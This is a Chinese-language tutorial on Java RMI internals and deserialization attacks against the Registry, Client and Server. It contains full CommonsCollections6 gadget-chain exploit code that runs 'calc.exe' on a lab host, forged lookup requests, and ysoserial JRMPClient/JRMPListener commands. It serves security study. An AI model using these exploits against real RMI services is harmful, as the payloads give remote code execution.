快速过一遍 RMI 安全基础
当然还有一些细节没涉及到, 比如如何用 RASP hook 指定方法, JRMPClient 和 JRMPListener 的实现原理, DGC 层反序列化, JEP 290 的绕过等等, 只能慢慢填坑了…
RMI 基础
基本概念
Java 远程方法调用,即 Java RMI (Java Remote Method Invocation) 是 Java 编程语言里, 一种用于实现远程过程调用的应用程序编程接口. 它使客户机上运行的程序可以调用远程服务器上的对象. 远程方法调用特性使 Java 编程人员能够在网络环境中分布操作. RMI 全部的宗旨就是尽可能简化远程接口对象的使用.
RMI 利用 JRMP 协议进行通信, 过程中存在三个角色
- Registry: 注册中心, 负责维护一个 Map, 其中存放了远程对象的名称和实例, 服务端从注册中心注册对象, 客户端从注册中心获取对象
- Client: 客户端, 调用远程对象的一方, 会从注册中心获取对象, 并最终与服务端通信
- Server: 服务端, 实现了相应的远程对象, 在接收到 Client 的请求后, 会在本地调用已实现的方法并且将执行结果返回给客户端
在早期版本的 jdk 中, Registry 和 Server 可以不在同一台服务器上, 但是高版本的 jdk 要求 Registry 和 Server 必须是同一台服务器
快速上手
环境为 jdk 8u40
Server
Server 需要先编写远程对象的接口, 该接口必须继承自 Remote 接口, 其中的方法必须抛出 RemoteException
1
2
3
|
interface Hello extends Remote{
public void world() throws RemoteException;
}
|
然后编写实现这个接口的类, 该类必须继承自 UnicastRemoteObject 类, 并且需要调用其构造函数
1
2
3
4
5
6
7
8
9
10
11
|
class HelloImpl extends UnicastRemoteObject implements Hello{
protected HelloImpl() throws RemoteException {
super();
}
@Override
public void world() throws RemoteException {
System.out.println("hello world");
}
}
|
Registry
Registry 通过 LocateRegistry.createRegisry()
方法创建, 之后通过 bind 方法绑定对应的实例化类
1
2
3
4
5
6
7
|
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Hello helloImpl = new HelloImpl();
registry.bind("hello", helloImpl);
}
}
|
Client
Client 需要编写与 Server 一样的接口
1
2
3
|
interface Hello extends Remote{
public void world() throws RemoteException;
}
|
然后执行 LocateRegistry.getRegistry()
连接到 Registry, 并通过 lookup 方法得到远程对象, 最后执行对应方法
1
2
3
4
5
6
7
8
|
public class Client {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("192.168.100.1", 1099);
Hello hello = (Hello) registry.lookup("hello");
hello.world();
}
}
|
实现原理
参考文章
https://paper.seebug.org/1251/
https://blog.csdn.net/u013630349/article/details/51954161
https://www.cnblogs.com/yin-jingyu/archive/2012/06/14/2549361.html
上面源码分析的非常详细, 这里我就简单说一下
Client Registry Server 间的通信其实是通过 Stub 和 Skeleton 两个代理对象来实现的
Stub 是对远程接口的实现, 它的方法里封装了与 Server 端 Skeleton 对象的通信过程, 负责将参数传输给 Skeleton 并返回执行结果
Skeleton 代理了实际被调用的远程对象, 同样封装了与 Client 端 Stub 对象的通信过程, 负责接收 Stub 传递的参数, 调用实际远程对象的方法并将执行结果传输给 Stub
对于 Registry 存在 RegistryImpl_Stub 和 RegistryImpl_Skel 两个代理对象
Client / Server 通过 RegistryImpl_Stub 来向 Registry 执行 bind 之类的操作
Registry 通过 RegistryImpl_Skel 来处理 RegistryImpl_Stub 的请求
这里重点关注 dispatch 方法, 该方法是处理请求的核心
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
|
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}
}
}
|
switch 中每一个 case 分别对应不同的操作, 关系如下
- 0: bind
- 1: list
- 2: lookup
- 3: rebind
- 4: unbind
其中 bind rebind unbind lookup 的操作中都存在对 readObject 方法的调用, 为后面的反序列化漏洞打下了基础
RMI 反序列化
攻击 Registry
bind & rebind
bind 和 rebind 过程中 Registry 会执行 readObject, 存在反序列化漏洞
其中 var7 为对象名称, var8 为对象本身
下面以 cc6 为例构造 Client 端的 payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
Registry registry = LocateRegistry.getRegistry("192.168.100.1", 1099);
registry.bind("test", new Wrapper(expMap));
}
}
class Wrapper implements Remote, Serializable {
private Object obj;
public Wrapper(Object obj) {
this.obj = obj;
}
}
|
注意 expMap 本身不继承自 Remote 接口, 需要自己写一个包装类
unbind & lookup
unbind 和 lookup 方法也会调用 readObject, 不过必须是 String 类型
根据 seebug 文章的思路, 有两种方法绕过: 伪造连接请求和利用 rasp hook 修改发送数据
这里我用的是前者, 因为 rasp 目前还没学到… (太菜了)
以 lookup 为例, 来看一下 RegistryImpl_Stub 的 lookup 方法
invoke 后面的代码都是读取 Registry 返回的对象
大致的思路就是通过反射拿到 ref operations 这几个属性, 然后通过 writeObject 写入 payload, 最后调用 invoke 发送数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectOutput;
import java.io.Serializable;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
Registry registry = LocateRegistry.getRegistry("192.168.100.1", 1099);
Field refField = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
refField.setAccessible(true);
RemoteRef ref = (RemoteRef) refField.get(registry);
Field operationsField = registry.getClass().getDeclaredField("operations");
operationsField.setAccessible(true);
Operation[] operations = (Operation[]) operationsField.get(registry);
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(new Wrapper(expMap));
ref.invoke(var2);
}
}
class Wrapper implements Remote, Serializable {
private Object obj;
public Wrapper(Object obj) {
this.obj = obj;
}
}
|
JRMPClient
ysoserial 提供了 JRMPClient 这个 exploit 来攻击 Registry, 它的原理是利用 RMI 的 DGC 层进行反序列化
利用方式如下
1
|
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 192.168.100.1 1099 CommonsCollections6 "calc.exe"
|
攻击 Client
通过 Registry 攻击 (JRMPListener)
原理是当 Client 调用 Registry 的 lookup / list 方法时, RegistryImpl_Skel 会进行 writeObject, 那么在 Client 端一定会出现 readObject, 从而造成反序列化漏洞
ysoserial 提供了 JRMPListener 这个 exploit 来攻击 Client (当然也可以 rasp hook 或手工伪造 Registry response)
利用方式如下
1
|
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc.exe"
|
通过 Server 攻击
有两种情况, 一种是利用 codebase 远程加载对象, 另一种是远程接口中存在返回值为 Object 的方法
前者利用条件太苛刻了, 而且需要手动指定 policy, 所以下面以后者为例
原理也很简单, 当返回值为 Object 时, 在传输的过程中 Server 必然会对其进行序列化, 自然而然地 Client 也会对传输过来的数据进行反序列化
编写 Server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Hello helloImpl = new HelloImpl();
registry.bind("hello", helloImpl);
}
}
interface Hello extends Remote{
public Object world() throws RemoteException, NoSuchFieldException, IllegalAccessException;
}
class HelloImpl extends UnicastRemoteObject implements Hello{
protected HelloImpl() throws RemoteException {
super();
}
@Override
public Object world() throws RemoteException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
return expMap;
}
}
|
编写 Client (需要调用指定方法)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("192.168.100.1", 1099);
Hello hello = (Hello) registry.lookup("hello");
hello.world();
}
}
interface Hello extends Remote{
public Object world() throws RemoteException, NoSuchFieldException, IllegalAccessException;
}
|
攻击 Server
与 Server 攻击 Client 一样, 被调用的接口方法中需要存在 Object 类型的参数, 这样 Server 端会对传输过来的数据进行反序列化
编写 Client
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
Registry registry = LocateRegistry.getRegistry("192.168.100.1", 1099);
Hello hello = (Hello) registry.lookup("hello");
hello.world(expMap);
}
}
interface Hello extends Remote{
public void world(Object obj) throws RemoteException;
}
|
编写 Server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Hello helloImpl = new HelloImpl();
registry.bind("hello", helloImpl);
}
}
interface Hello extends Remote{
public void world(Object obj) throws RemoteException;
}
class HelloImpl extends UnicastRemoteObject implements Hello{
protected HelloImpl() throws RemoteException {
super();
}
@Override
public void world(Object obj) throws RemoteException{
System.out.println(obj.toString());
}
}
|
绕过 JEP 290
高版本 jdk 引入了 JEP 290 策略, 并在 Client 与 Registry 的通信过程中默认设置了 registryFilter, 使得只有在白名单里面的类才能够被反序列化
绕过 JEP 290 有很多种方法, 仔细研究的话又是一个深坑…
这里就先放几篇参考文章
https://paper.seebug.org/1251/#jep-290-jep290
https://paper.seebug.org/1194/#jep290
https://xz.aliyun.com/t/7932